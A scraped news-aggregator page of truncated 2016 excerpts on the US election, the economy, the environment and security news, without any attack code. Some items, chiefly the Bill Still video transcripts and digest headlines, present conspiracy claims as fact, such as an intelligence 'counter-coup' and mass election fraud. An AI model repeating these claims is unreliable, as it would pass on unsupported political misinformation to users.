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Thursday, 01 December

23:00

What's Causing Income Inequality In America? Government Policies That Help The Rich "IndyWatch Feed World"

When politicians consistently favor employers over workers, things get unequal very fast.

When politicians consistently favor employers over workers, things get unequal very fast.

Politics, not money, have caused the rise in U.S. income inequality since the end of the 1970s. A new study from Ohio State University found that, from the '80s onwards, presidential administrations have favored employers over workers, and this has driven income equality.

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Friday, 04 November

06:47

Android spyware targets business executives "IndyWatch Feed Tech"

Overreliance on smartphones, both in out personal and professional lives, is a reality for many of us. These devices hold a lot of sensitive information – information that could be worth a lot to some people, especially if you are a high-positioned executive in a thriving business. Researchers from mobile security outfit Skycure have recently analyzed a malicious app they found on an Android 6.0.1 device owned by a VP at a global technology company. … More

06:20

World’s Biggest Threats Largely Ignored by U.S. Presidential Candidates, Say Risk Experts "IndyWatch Feed Politics.us"

By Seth Borenstein, AP Science Writer

                 

It's a scary world out there, risk experts agree, but they say Donald Trump and Hillary Clinton often focus on the wrong dangers — fixing on hazards that are unlikely, or unlikely to cause massive pain.

 

The Associated Press asked 21 risk experts to analyze the presidential campaign and list what they consider the five biggest threats to the world. Climate change topped the list with 17 mentions, often as the top threat. It was followed by use of nuclear weapons, pandemics, cyberattacks and problems with high technology. Neither Trump's signature issues of immigration and terrorism nor Clinton's major concerns, financial insecurity and gun violence, made the list.

 

"I have not heard or read about any significant deliberations of the major risks that face our country today and tomorrow. Sad for the U.S.," said Bob Bea, a University of California Berkeley engineering professor who is a long-time expert in human-caused disasters.

 

Nuclear weapons could be one exception. The issue is not ignored, though the candidates come at it from opposite directions. Trump has suggested that Japan and South Korea should be free to develop their own nuclear weapons programs to counter North Korea, while Clinton says Trump is too unstable to be trusted with his own finger on the figurative nuclear button.

 

Economics and psychology professor George Loewenstein, co-director for the Center for Behavioral Decision Research at Carnegie Mellon University, was typical of the experts. He called climate change "a problem that threatens the very existence of the human race" and is already having devastating consequences around the world. He fretted that it has been barely mentioned in presidential debates, usually in context of Trump's questioning that it is happening.

 

But it's not just climate change, which Clinton does touch on in her speeches. The political campaigns often miss the real potential risks while exaggerating others, especially immigration and terrorism, the experts said. Extreme weather has killed more than twice as many people in the United States in the past 15 years as terrorist attacks, even including Sept. 11, 2001.

 

Fourteen of the 21 experts responded when asked to rate Clinton and Trump on handling risk. They gave Trump an average of an F and Clinton a C-plus.

 

Seth Baum, executive director of Global Catastrophic Risk Institute, sa...

06:01

Daily Digest 11/3 - How The Cultural War Fooled The Left, Life After Brexit "IndyWatch Feed Economics"

Daily Digest 11/3 - How The Cultural War Fooled The Left, Life After Brexit
  • Economic Stress As World Runs Out Of Dollars
  • ‘Brexit’ Will Require a Parliament Vote, U.K. Court Rules
  • Life After Brexit: What Can The British Learn From The Swiss
  • Global Bond Bubble Bust
  • Inflation: The Most Dangerous Chinese Export
  • How The Cultural War Fooled The Left (FREEPOM)
  • Prevailing Gray Swan: Imperative Grounds for Impeachment, A Constitutional Crisis is Immanent If Secretary Clinton is Elected
  • Biggest Election Fraud In History Discovered In The United States
  • A Cashless Economy in Zimbabwe? With Little Cash, There’s Little Choice
  • OPEC Is Now Irrelevant – This Oil Price Plunge Is Different
  • Amish fight back, ignore law mandating horse poop bags

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05:50

Truth Viewed as Victim, Not Beneficiary, of the Internet "IndyWatch Feed Politics.us"

 

 

 

By Farhad Manjoo, New York Times

 

Next week, if all goes well, someone will win the presidency. What happens after that is anyone’s guess. Will the losing side believe the results? Will the bulk of Americans recognize the legitimacy of the new president? And will we all be able to clean up the piles of lies, hoaxes and other dung that have been hurled so freely in this hypercharged, fact-free election?

 

Much of that remains unclear, because the internet is distorting our collective grasp on the truth. Polls show that many of us have burrowed into our own echo chambers of information. In a recent Pew Research Center survey, 81 percent of respondents said that partisans not only differed about policies but also about “basic facts.”

 

For years, technologists and other utopians have argued that online news would be a boon to democracy. That has not been the case.

 

More than a decade ago, as a young reporter covering the intersection of technology and politics, I noticed the opposite. The internet was filled with 9/11 truthers, and partisans who believed against all evidence that George W. Bush stole the 2004 election from John Kerry, or that Barack Obama was a foreign-born Muslim. (He was born in Hawaii and is a practicing Christian.)

 

Of course, America has long been entranced by conspiracy theories. But the online hoaxes and fringe theories appeared more virulent than their offline predecessors. They were also more numerous and more persistent. During Obama’s 2008 presidential campaign, every attempt to debunk the birther rumor seemed to raise its prevalence online.

 

In a 2008 book, I argued that the internet would usher in a “post-fact” age. Eight years later, in the death throes of an election that features a candidate who once led the campaign to lie about Obama’s birth, there is more reason to despair about truth in the online age.

 

Why? Because if you study the dynamics of how information moves online today, pretty much everything conspires against truth.

 

You’re Not Rational

 

The root of the problem with online news is something that initially sounds great: We have a lot more media to choose from.

 

In the past 20 years, the internet has overrun your morning paper and evening newscast with a smorgasbord of information sources, from well-funded online magazines to muckraking fact-checkers to the three guys in your country club whose Facebook group claims proof that Hillary Clinton and Donald Trump are really the same person.

 

A wider variety of news sources was supposed to be the bulwar...

05:45

Outside Groups Outspend U.S. Senate Candidates and Parties for First Time "IndyWatch Feed Politics.us"

By Brennan Center for Justice

 

For what may be the first time, outside groups — nominally independent spenders that are free from contribution limits and can sometimes conceal their donors from the public — are outspending the parties and candidates in the battle for control of the U.S. Senate, according to a new analysis from the Brennan Center for Justice at NYU School of Law. While closely tied to the parties and candidates despite weak rules against coordination, these groups benefit from being able to raise most of their money from a handful of mega-donors.

 

Of the $557 million spent so far in ten key Senate contests, nonparty outside groups are responsible for $282 million, or 51 percent. In each of the four most expensive contests, in Nevada, New Hampshire, Ohio, and Pennsylvania, candidates account for 37 percent or less of total spending. Among the other findings:

 

•           Outside spending is reaching record highs: The current record-holder for most expensive race is the 2014 North Carolina contest, which reached $39 million by the end of September and $116 million in total. Four contests are already on pace to beat that mark: Pennsylvania ($69 million by the end of September); Ohio ($49 million); New Hampshire ($48 million); and Nevada ($43 million).

 

•           GOP winning outside money battle: Nearly 60 percent of the money spent so far in top Senate races supports GOP candidates, a reversal from 2014. Dark money spending, from groups that conceal their donors, favors GOP candidates six to one.

 

•           Dark money spending is highly concentrated: Just three groups, One Nation, with ties to Republican Majority Leader Mitch McConnell; the Koch network’s Americans for Prosperity; and the U.S. Chamber of Commerce, account for 67 percent of all dark money spending.

 

•           Party-affiliated groups are ascendant: Due to increased spending by outside groups affiliated with the parties, 2014’s rise of single-candidate groups has been checked. The $28 million spent this year by those groups accounts for 11 percent of the total, down from 18 percent in 2014.

 

“The precipitous rise of outside groups is problematic for a few reasons...

05:40

Bayer Ordered to Halt Ads Describing Its Pesticide, Which is Toxic to Bees, as “Vitamins for Plants” "IndyWatch Feed Politics.us"

By Zack Huffman, Courthouse News Service

 

BOSTON (CN) — Bayer Crop Science, the world's largest agrochemical company, buckled to Massachusetts' demand that it stop advertising that its neonicotinoid pesticides are like "giving 'a daily vitamin' to plants," though the chemicals have been linked to honeybee colony collapse disorder.

 

Attorney General Maura Healey filed an Assurance of Discontinuance on Oct. 26 in Suffolk County Court to settle the dispute, which her office began investigating in September 2013. Bayer Cropscience promised to pay $75,000 and to stop its misleading advertising, for instance, that its neonicotinoid pesticide products are EPA-approved.

 

"Bayer made numerous misleading claims to consumers about the safety of its pesticide products, including falsely advertising that they were similar to giving 'a daily vitamin' to plants, when in fact, they are highly toxic to honey bees and other pollinators in the environment," Healey said in a statement.

 

The attorney general called the settlement "an unprecedented step from a major pesticide manufacturer to promote truth in advertising for consumers about products that expose bees and the environment to harm and in turn also impact farming and food production."

 

The lawn and garden products, which include Bayer Advanced All-in-One Rose and Flower Care, Bayer Advanced 12 Month Tree & Shrub Protect and Feed II, and Bayer Advanced Season Long Grub Control Plus Turf Revitalizer, contain imidacloprid and/or clothianidin, which belong to a family of synthetic chemicals called neonicotinoids.

 

Neonicotinoids are systemic chemicals designed to spread their toxin throughout the plant, including the pollen, where the toxic pesticides are picked up by pollinators.

 

An EPA report this year found possible links between neonicotinoid pesticides and honeybee colony collapse disorder, which destroyed more than 10 million beehives from 2007 to 2012. One-fourth of the American diet depends on honeybee pollination, according to the U.S. Department of Agriculture. Worldwide, crops worth more than $200 billion a year depend on honeybee pollination, and colony collapse disorder has driven up farmers' costs of renting pollinating hives by 20 percent or more.

 

Neonicotinoid exposure on land and water also has been associated with adverse effects on fish, amphibians, birds and bats.

 

Healy claimed that Bayer deceptively advertised that its products were safe for...

05:35

Summer Break Puts American School Children at Highest Risk of Excess Weight Gain "IndyWatch Feed Politics.us"

 

 

 

By Jan Hoffman, New York Times

 

Summer is the season when children play outdoors tirelessly until nightfall, burning up all the energy they had stockpiled throughout the school year, right?

 

Reality check: According to a new national study of younger elementary school students, the risk of gaining excessive weight is far greater during the summer than when they are in school.

 

A nationally representative sample of 18,170 kindergartners was weighed in the early fall and again in the late spring from 2010 through 2013, when the children were finishing second grade. The prevalence of children who were overweight increased to 28.7 percent from 23.3 percent. The prevalence of those who measured as obese grew to 11.5 percent from 8.9 percent. Most strikingly, according to the study published Wednesday in the journal Obesity, all of the increases were during the summer breaks. No increase in the prevalence of being overweight or obese was seen during the school year.

 

“It’s dispiriting how little progress we can see as a result of all these school-based fitness and nutrition programs,” said Paul von Hippel, the lead author and an associate professor of public affairs at the University of Texas at Austin.

 

He was referring to initiatives such as soda bans, recalibrated school cafeteria food, and more attention to physical education and nutrition curriculums.

 

“But it makes sense if you believe that schools were never the problem to begin with. Nor can they be much of the solution,” added von Hippel, who said that family education and access to summer fitness programs needed to be bolstered.

 

The research is the most rigorous and long-term in a growing collection of evidence suggesting that children’s ability to maintain a healthy weight can slip when they are out of school, much like their reading and math skills.

 

The complex factors that contribute to this phenomenon are only beginning to be examined. Experts note that in the summer, children do not have a strict, school-defined schedule, so they spend more sedentary time snacking in front of screens. They go to bed later and get less sleep (which can contribute to weight gain). And because heat renders them sluggish, they can be less active.

 

By contrast, despite school’s limitations, it offers a built-in protective structure for weight-and-fitness maintenance. During the academic year, meal times at home and school become more fixed; sleep is better regulated; physical education and recess, however minimal, is in the schedule; and, most critically, by being in class during t...

04:48

Cisco plugs critical hole in Prime Home management platform "IndyWatch Feed Tech"

Cisco has released nine security alerts on Wednesday, and among these are two for critical vulnerabilities in its ASR 900 Series routers and the Cisco Prime Home management platform (for provisioning and managing in-home devices). The vulnerability in the routers could allow an unauthenticated, remote attacker to reload or remotely execute code on the affected device, while the flaw in the web-based GU of Cisco Prime Home could be exploited by an unauthenticated, remote attacker … More

02:35

Post-pumpkin Patch Tuesday: What’s in store for November "IndyWatch Feed Tech"

There has been a lot of activity since October’s Patch Tuesday. During that short period of time, Oracle released its quarterly CPU, including an update for Java JRE; Adobe resolved a zero-day in Flash Player; a security researcher identified a new form of attack called Atombombing, and there has been some rising discussion around the Server 2016 servicing model. The week following Patch Tuesday, the week of October 17th, Oracle released its quarterly CPU, resolving … More

01:46

Rainfall Changes Threaten Food Production "IndyWatch Feed Nthamerica"

By Jan Rocha for Climate News network - SÃO PAULO, 30 October, 2016 – The UN’s latest State of Food and Agriculture (SOFA) report warns that rainfall patterns will have changed so drastically by the end of this century that agriculture, forestry and fishing will all be seriously affected. “It will become more and more difficult to harvest crops, rear animals and manage forests and fisheries in the same places and in the same way as before,” says the report by the UN’s Food and Agriculture Organisation(FAO).

01:46

United Nations Investigates Scandalous Treatment of Demonstrators "IndyWatch Feed 1stpeople"

Richard Broken Nose is a spiritual leader from the Pine Ridge reservation....

Two tropical systems lurking northwest of the Philippines "IndyWatch Feed Enviro"

Two tropical systems are currently lurking in the Northwest Pacific, north of Yap. One of them, now known as the Tropical Storm "Meari" will continue intensifying over the next three days and may threaten the Phillippines over the coming weekend, while the...... Read more »

From Indonesia to Ohio: the struggle to breed Sumatran rhinos in captivity "IndyWatch Feed Enviro"

This is Part One of a two-part series about attempts to rescue Sumatran rhinos from the brink of extinction by breeding the critically endangered species in captivity. Part Two will be published Tuesday, November 9. [caption id="attachment_190594" align="aligncenter" width="1200"] A baby Sumatran rhino displays the species' characteristic shaggy fur. Photo courtesy of the Cincinnati Zoo.[/caption] The most endangered rhino is one you've probably never heard of. Unlike its more famous African cousins, the Sumatran rhino (Dicerorhinus sumatrensis)--sometimes called the hairy rhinoceros--has two horns and a variable coat of shaggy fur, especially on the ears. They're smaller, solitary, and live in dense tropical forest. It's not the first word that comes to mind when you think of rhinos, but if any rhino species is cute, this is the one. Once widespread across Southeast Asia and the Himalayan foothills, hunting and habitat loss reduced Sumatran rhinos to just a few small populations by the end of the 20th century, prompting fears that without intervention the species would go extinct. Husbandry and health In 1984, when perhaps a thousand were estimated to be left in the wild, a program was initiated to take rhinos into captivity from habitat that was about to be destroyed. Forty Sumatran rhinos were captured in Indonesia and Malaysia with the hopes of starting a captive breeding program. Eleven of these rhinos were sent to the US, three to the UK and one to Thailand, while seven remained in Indonesia and 22 in Malaysia. By the late 1990s, not…

Gaby Weber hat einen neuen Film gemacht: "Ein Geschenk ... "IndyWatch Feed Europe"

Gaby Weber hat einen neuen Film gemacht: "Ein Geschenk des Himmels - wie Daimler-Benz Nazigold waschen durfte"

Und weil es Gaby Weber ist, kommen nicht nur Theorien und Mutmaßungen sondern das ist alles schön belegt. Viel Spaß beim Gucken (Laufzeit: eine knappe Stunde)

Was passiert, wenn man ein paar Forscher zum Schrottplatz ... "IndyWatch Feed Europe"

Was passiert, wenn man ein paar Forscher zum Schrottplatz schickt, sie sollen mal gucken, ob sie aus den dort häufig rumliegenden Materialien eine schöne Batterie bauen können?

Sie macgyvern sich eine Stahl-Messing-Batterie zusammen, und benutzen Kaliumhydroxid in ihren Elektrolyten (das kann man billig aus Waschmittel gewinnen).

Naja, ok, denkt ihr euch jetzt wahrscheinlich, aber das kann ja nichts taugen, so im Vergleich zu den High-Tech-Star-Trek-Akkus da draußen. Nun, seht selbst:

[…] that can store energy at levels comparable to lead-acid batteries while charging and discharging at rates comparable to ultra-fast charging supercapacitors
öh, whut? Stellt sich raus, dass Anodisieren (was man bei Aluminium gerne macht, um das haltbarer zu machen, und es sieht auch besser aus) die Oberfläche des Metalls stark vergrößert.

Naja gut, denkt ihr euch jetzt bestimmt, brauchbare Kapazität, schnellladefähig, das sind ja nur zwei der wichtigen Dimensionen. Bestimmt hält das Ding dann bloß drei Ladevorgänge aus, bevor es durch ist.

They tested it for 5,000 consecutive charging cycles – the equivalent of over 13 years of daily charging and discharging – and found that it retained more than 90 percent of its capacity
Und das ist mal echt bemerkenswert. Dieser Akku ist jetzt nichts für ins Smartphone kleben, aber für in den Keller stellen und damit Solarstrom zwischenpuffern klingt das echt super.

Aus der beliebten Reihe "wir werden alle störben", ... "IndyWatch Feed Europe"

Aus der beliebten Reihe "wir werden alle störben", heute: "Wir werden alle störben" ist wissenschaftlich gesehen der bessere Pep-Talk als "wir schaffen das!1!!" o.ä.. Ich habe euch also seit Jahren zu Höchstleistungen inspiriert, ohne es zu wissen!1!!

Bild des Tages: Die Schutzpolizei macht Vorwärtsverteidigung ... "IndyWatch Feed Europe"

Bild des Tages: Die Schutzpolizei macht Vorwärtsverteidigung gegen diesen Pipelinegegner-Terroristen. Das Foto kommt von den Sioux-Protesten gegen die Dakota Access Pipeline, bei der auch Amy Goodman verhaftet wurde. Achtet mal darauf, was für massive Pfefferspraybehältnisse die inzwischen mit sich rumtragen! Das ist ja von der Größe her eher ein Feuerlöscher als ein Pfefferspray! Krass. Ich meine jetzt die Flasche rechts im Bild, die links ist glaube ich wirklich ein Feuerlöscher. Oh und die Wumme, die der Cop in der Mitte auf die Demonstranten richtet, die sieht vom Kaliber her aus, als verschösse sie Beanbags.

World’s largest marine protected area created in Antarctica "IndyWatch Feed National"

Last week, 24 countries and the European Union unanimously agreed to create the world’s largest marine protected area off Antarctica. The deal was brokered at the meeting of the Commission for the Conservation of Antarctic Marine Living Resources (CCAMLR) in Hobart, Australia. The new marine protected area (MPA), expected to come into force in December 2017, will set out to protect some 1.55 million square kilometers (~600,000 square miles) of the Ross Sea around Antarctica — an area more than the size of France, Germany and Spain combined. According to the agreement, 72 percent of the marine area — nearly 1.1 million square kilometers (~417,000 square miles) — will be set aside as a “no-take” zone, in which all forms of fishing will be banned. Special zones will be carved out where harvesting of krill and other fish will be allowed only for research purposes. The protections will end in 35 years. “The creation of the Ross Sea MPA is an extraordinary step forward for marine protection,” John Kerry, U.S. Secretary of State, said in a statement. [caption id="attachment_190511" align="aligncenter" width="768"] Map prepared by WWF shows the Ross Sea marine protected area.[/caption] Antarctica’s Ross Sea, located south of New Zealand, is believed to be one of the most pristine marine regions in the world. A 2011 study published in Biological Conservation called it “the anthropogenically least-affected stretch of ocean remaining on Earth”, relatively free from widespread pollution, invasive species, mining and overfishing. The Ross Sea harbors a huge diversity of marine…

One-Year Anniversary of Brazil dam disaster brings prosecutions "IndyWatch Feed Pacific"

[caption id="attachment_190596" align="alignnone" width="768"] The town of Bento Rodrigues was destroyed by the Samarco toxic sludge flood on November 5, 2015. The company and many of its executives have been charged with qualified homicide. Photo by Romerito Pontes licensed under the Creative Commons Attribution 2.0 Generic license[/caption] Federal authorities have released their findings regarding the Fundão tailings dam collapse in a massive and damning report that comes on the eve of the one-year anniversary of the event. Prosecutors charged 22 executives and four companies for their role in the disaster that occurred in Mariana town, Minas Gerais state. The 272-page complaint prepared by the Federal Public Ministry (MPF) offers a vivid account of the country's largest environmental tragedy, an event that caused the death of 19 people. The official MPF document traces the story of the failure of the colossal corporate dam that released 40 billion liters (over 10.5 billion gallons) of toxic mud tailings, devastating wildlife, vegetation, properties and 663 kilometers (441 miles) of river, before reaching the Atlantic Ocean. That disaster, says the report, is ongoing, with another 4 billion gallons of mud continuing to seep from the ruined dam. The companies charged include Samarco (the dam’s owner), along with parent companies Vale and BHP Billiton, all of which are accused of qualified homicide with eventual intent (where there is no intent to kill, but taking the risk of causing death). Also charged with qualified homicide are 21 of the 22 people named by the MPF prosecutors. Among the…

01:44

Are you Ready for President Trump? "IndyWatch Feed Nthamerica"

This is an idiomatic exploration of the effects of a Trump victory, based on recent polling showing him leading by our top polls, as Clinton recoils. What would a Trump Presidency be like?

01:41

End The Death Penalty Or Speed It Up "IndyWatch Feed Nthamerica"

By Liliana Segura for The Intercept - ON THE DAY a California jury sentenced 25-year-old Irving Ramirez to die, Dionne Wilson went out to a bar to celebrate. “We had a major party,” she told me. Ramirez had shot and killed her husband, Dan, in 2005 — the first Alameda County cop to be murdered in the line of duty in almost 40 years. The district attorney tried the case himself; when the death sentence came down two years later, Wilson felt satisfied she could finally move on with her life.ON THE DAY a California jury sentenced 25-year-old Irving Ramirez to die, Dionne Wilson went out to a bar to celebrate.

01:38

Vote for Stein (and Don't Wait for Your State Legislature to Pass Ranked-Choice Voting to Do It) "IndyWatch Feed Nthamerica"

An argument in favor of Jill Stein's 2016 presidential candidacy and for breaking away from the influence and control of the Democratic party.

01:37

The American Academy of Pediatrics has issued new recommendations about children's screen time and cell phone radiation "IndyWatch Feed Nthamerica"

The American Academy of Pediatrics has issued new recommendations about children's screen time and cell phone radiation exposure. Check out early childhood educator Dr. Roxana Marachi's response

01:36

Will the United Nations throw the US/NATO Western Alliance under the bus in Syria? "IndyWatch Feed Nthamerica"

The information war continues with the UN momentarily opting to expose US support of terrorists.

01:34

Court dissolves 7-year-old marriage over lack of care "IndyWatch Feed Africa"

An Ado-Ekiti Customary Court on Thursday dissolved a seven-year old marriage between Esther Adetuyi and her husband, Ajayi Adetuyi, over lack of care. The News Agency of Nigeria (NAN) reports that the marriage was dissolved on grounds of incompatibility and lack of care for the complainant, Esther, and the only child of the wedlock. The […]

01:33

Exclusive: #IAmBecoming! Toke Makinwa is Fearless & Unbroken in a Must Watch Teaser of her New Project "IndyWatch Feed Africa"

Frank. Fearless. Formidable…Just a few words that spring to mind as we watch Toke Makinwa in her newly released ‘On Becoming’ visuals. In this video, Toke lets her fans into her world in a whole new way. Fans have counted down to this visual release which was heralded by a 7-day countdown on social media […]

01:32

Misplaced priorities responsible for Nigeria’s underdevelopment – Sultan "IndyWatch Feed Africa"

The Sultan of Sokoto, Alhaji Sa’ad Abubakar III, on Thursday attributed the slow pace of development in Nigeria to misplaced priorities by political leaders. Abubakar, who is the President-General, Nigerian Supreme Council for Islamic Affairs, said this in Sokoto at an International symposium on the Sokoto caliphate. The Sultan said Nigerians must muster courage to […]

01:31

These 10 Photos Show What Happens When You Stop Drinking "IndyWatch Feed World"

“Everything in moderation” is a pretty good rule to live by, especially where alcohol is concerned. Too much booze can cause high blood pressure (hypertension), which increases the risk of a heart attack or stroke. It can also cause you to gain a bunch of excess pounds thanks to all the extra calories in alcohol (there's roughly 200 calories in a pint of beer and about 230 calories in 100 grams

01:31

SR 1310 – DayBreak Poll - Trump ROCKETS to a 5.4% Lead OVER Crooked Hillary Clinton "IndyWatch Feed Economics"

Visit our website now: http://www.billstill.com - considered by informed insiders’ as THE ultimate resource for fixing the National Debt problem and surviving Economic or Financial Collapse/Crash and attaining the unvarnished truth about Washington and today’s United States Political Climate. Good morning, I’m still reporting on the Daybreak Poll. SR 1310 – DayBreak Poll - Trump ROCKETS to a 5.4% Lead OVER Crooked Hillary Clinton Donald Trump has rocketed ahead to what the USC Daybreak poll’s creators define as an unstoppable lead of 5.4% this morning. Trump now leads Clinton 47.8% to 42.4% in this national tracking poll. And remember the methodology of this poll – it is a 7-day rolling average with over 3,004 participants. Trump – in a single day – jumped up 9/10s of a percent, while Clinton fell 9/10ths of a percent – a huge one-day swing of 1.8% - and that’s on top of yesterday’s 1.7% swing. In fact, in the last 9 days, Trump has risen 4 full points, while Clinton has lost 2.7% - a 6.7% swing. Both candidates – Trump on the topside, and Clinton on the bottom side of this chart – are now well outside of the “95% confidence interval”. According to the University of Southern California researchers running the ongoing Understanding America Study: “Figures lying outside the gray band mean that we are at least 95% confident that the candidate with the highest percentage will win the popular vote.” But in addition, the closer such a surge to election day, the more sure of that result we can be. There is now little doubt that Donald Trump will win the popular vote nationwide. Digging down into the numbers shows where the biggest surge lies. Trump now leads in all 3 age categories. With millennials, Trump now leads by 2.6%. Among the middle aged, Trump now leads by a whopping 5.2%. But in the 65 and over group, Trump’s lead has now widened to 9.6%. When sorted by education, Trump enjoys a huge 18.1% lead among those with a high school education or less. A landslide is defined as a 10-point lead. Among those with some college, Trump leads by 12.3%. Even among those with advanced degrees, Trump is closing the once-huge gap. Clinton still leads here in this demographically small group by 13.1%. When sorted by income, Clinton still leads among those making $35k or less by 17.8%. However, among the middle class – those with household incomes of between $35k and 75k, Trump leads by 15.9%. Among those making $75k or more, Trump leads by 11.4%. When sorted by ethnicity, Trump’s lead among whites continues to increase, now at 25.9%. This poll’s one blind spot continues to be among blacks. Although Trump made a .9% gain yesterday, Clinton still dominates with an 82.1% lead. In the “other ethnicity” group, Trump now leads by 9.2%. Among Latinos, Clinton still leads by 18.2%, however, Trump did increase by .6% points yesterday, while Clinton fell by .9 percent; a one-and-a-half percent swing. Among the ever-critical female vote, Trump closed the gap yesterda......

01:31

ISIS Throws Hotel Pool Party, F-16s Bomb It… 67 Jihadis Dead… "IndyWatch Feed Politics.us"

Party poopers. Well done. Now do us a favor and put up the video. Via Daily Caller: Iraqi fighter jets blew up 67 Islamic State fighters attending a “war room” meeting at a hotel pool in Mosul, Iraq. The F-16 fighters struck the gathering at around 11 p.m. Tuesday night as part of an ongoing […]

01:31

SR 1309 - Silent Counter-Coup by 17 Intel Agencies to Stop Crooked Clintons Corruption "IndyWatch Feed Economics"

Visit our website now: http://www.billstill.com - considered by informed insiders’ as THE ultimate resource for fixing the National Debt problem and surviving Economic or Financial Collapse/Crash and attaining the unvarnished truth about Washington and today’s United States Political Climate. Good evening, I’m still reporting on Silent Counter-Coup by 17 Intel Agencies To Stop Crooked Clintons Good evening, I’m still reporting on an ongoing counter-coup being run by patriotic members of 17 U.S. intelligence agencies to stop the Clinton Crime syndicate from proceeding with the rigging of the coming election. According to a 4 minute video, done by Dr. Steve Pieczenik, a Harvard and MIT-educated psychiatrist who has written 26 New York Times Best Sellers, the Clinton coup has been put down by an intelligence community counter-coup, effective at noon today. Dr. Pieczenik has great contacts in the American intelligence community. He put the following video up on his YouTube channel at noon today and says that the channel was down twenty minutes later. Currently, that channel is up, so perhaps our channel will not be harmed. I believe what you are about to see is true because of the nature of the recent WikiLeaks revelations. To me, hackers could not have done this. To me, white hats at NSA had to have been involved. Having spent my adult life working around the community, I knew that folks who were at most of these agencies – exempting DHS and CIA - are American patriots who would not allow this nation to be destroyed by the Clinton Crime Syndicate. [insert] This may well be the reason President Obama yesterday had his press secretary praise the word of Jim Comey, head of the FBI, at the very moment that Hillary Clinton was speaking in Florida deriding Comey. Let us all pray that Comey has actually turned away from being subservient to Obama and the Clintons and has now joined forces with the vast majority of the American military/intelligence community and Obama has decided – for his own preservation - to not fight them. I’m still reporting from Washington; good evening. Bill Still is a former newspaper editor and publisher. He has written for USA Today, The Saturday Evening Post, the Los Angeles Times Syndicate, OMNI magazine, and has also produced the syndicated radio program, Health News. He has written 22 books and two documentary videos and is the host of his wildly popular daily YouTube Channel the “Still Report”, the quintessential report on the economy and Washington. Connect with Bill Still: https://www.youtube.com/user/bstill3 https://plus.google.com/u/0/+BillStill http://billstills.blogspot.in/ https://twitter.com/billstill https://www.facebook.com/BillStillOfficial https://www.pinterest.com/billstills/ https://www.linkedin.com/in/billstill http://billstills.tumblr.com/ https://billstills.wordpress.com/ https://www.diigo.com/profile/billstill https://www.reddit.com/user/billstills/ http://www.stumbleupon.com/stumbler...

01:30

Migrants battle on the streets of Paris "IndyWatch Feed Politics.us"

Ain’t multiculturalism grand?

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From Daily Mail: Pictures show men lunging at each other with makeshift clubs last night next to a row of tents in the Stalingrad district of the French capital. Amid chaotic scenes, gangs of men were seen brandishing pieces of wood and squaring up for a street battle.

The violence unfolded just hours after demolition workers supported by riot police began smashing up an illegal camp full of UK-bound migrants in Paris. It also came in the wake of the destruction of the Calais Jungle which saw refugees transported around the country. It followed thousands of migrants arriving in the French capital following the razing of the Calais Jungle refugee camp last week.

While some 5,000 Jungle residents agreed to be bused to resettlement centres around France, many others headed off independently, saying they still wanted to get to Britain. Up to 3,000 set up tents on the pavements around the Stalingrad Metro station, which is close to the Gare du Nord Eurostar hub in the north of Paris.

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01:30

Possible Trump Win Rallies Gold. John Rubino (Video) "IndyWatch Feed Economics"

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Possible Trump Win Rallies Gold. John Rubino RequiemFor America the only reason why the banks behave so badly is precisely BECAUSE they are regulated to the hilt – the government REQUIRES the banks to do so many things to “meet the government requirements” which is why the small banks FAIL bc small banks can’t afford…

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01:30

Wall Street Sets Political Outlay Record "IndyWatch Feed Nthamerica"

By Jim Lardner for Inequality.org - Wall Street will set still another record for political spending this election cycle. So far in 2015 and 2016, banks and financial interests have put more than $1.4 billion into efforts to elect and influence holders of national political office, according to Wall Street Money in Washington, a new report by Americans for Financial Reform based on data compiled by the Center for Responsive Politics.

01:30

Automating Infrastructure Deployment for Kubernetes "IndyWatch Feed Tech"

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01:30

Can Lebanon Escape the Resource Curse? "IndyWatch Feed Economics"

Now that Lebanon, after two and a half years, finally has a president, the country can turn its attention to exploiting its hydrocarbon reserves. But policymakers must be mindful of the risks ahead – and build the governance institutions needed to manage fossil-fuel wealth properly.

01:29

SR 1311 – Julian Assange Surfaces - He is ALIVE and Well – Part 2 WikiLeaks Prevails "IndyWatch Feed Economics"

Visit our website now: http://www.billstill.com - considered by informed insiders’ as THE ultimate resource for fixing the National Debt problem and surviving Economic or Financial Collapse/Crash and attaining the unvarnished truth about Washington and today’s United States Political Climate. Good morning, I’m still reporting on Julian Assange. SR 1311 – Julian Assange Surfaces - He is ALIVE and Well – Part 2 WikiLeaks Prevails Julian Assange is alive. However, his internet access has been cut off by the Ecuadoran government. How do we know? Because he just did a telephone interview by calling into the International Conference of Free Software, meeting in Argentina 8 days ago. This is one of the most fascinating interviews I’ve ever listened to and recommend you listen to the entire thing – and that’s coming from a guy who never listens to lengthy anything! So let’s return to Assange [insert part 2] I’m still reporting from Washington. Good day. Bill Still is a former newspaper editor and publisher. He has written for USA Today, The Saturday Evening Post, the Los Angeles Times Syndicate, OMNI magazine, and has also produced the syndicated radio program, Health News. He has written 22 books and two documentary videos and is the host of his wildly popular daily YouTube Channel the “Still Report”, the quintessential report on the economy and Washington. Connect with Bill Still: https://www.youtube.com/user/bstill3 https://plus.google.com/u/0/+BillStill http://billstills.blogspot.in/ https://twitter.com/billstill https://www.facebook.com/BillStillOfficial https://www.pinterest.com/billstills/ https://www.linkedin.com/in/billstill http://billstills.tumblr.com/ https://billstills.wordpress.com/ https://www.diigo.com/profile/billstill https://www.reddit.com/user/billstills/ http://www.stumbleupon.com/stumbler/billstillss Consider becoming a cherished sponsor: https://www.patreon.com/user?u=3204630 https://youtu.be/XsQfjg5h2dM

01:29

Putin calls Russian presence in Antarctic region 'vitally important' "IndyWatch Feed World"

Work of Russian specialists in the Antarctic region is very important and research of the southernmost continent has prospects, Russian President Vladimir Putin said Thursday. Speaking with the representatives of Russian business community, who are currently participating in an Antarctic expedition, Putin said: "As I know, there are people among you, who are ready to participate in research of the continent, I know that you have the ideas to support our scientists... and all the specialists, who are involved in this prospective research... Russia's presence in the Antarctic region is vitally important." The Russian leader said the research activities in the region around the South Pole helps in exploration of the Earth, adding that more than 80 percent of the planet's fresh water was in the Antarctic region. The Antarctica was discovered by the expedition led by Russian explorers Fabian Gottlieb von Bellingshausen and Mikhail Lazarev in 1820. Since then, Russian scientists have been involved in exploration of the southern continent. According to the international Antarctic Treaty, only scientific activities are allowed to be held at the continent.

01:29

Killary's speech to Deutsche Bank reveals groundwork for anti-Putin campaign "IndyWatch Feed World"

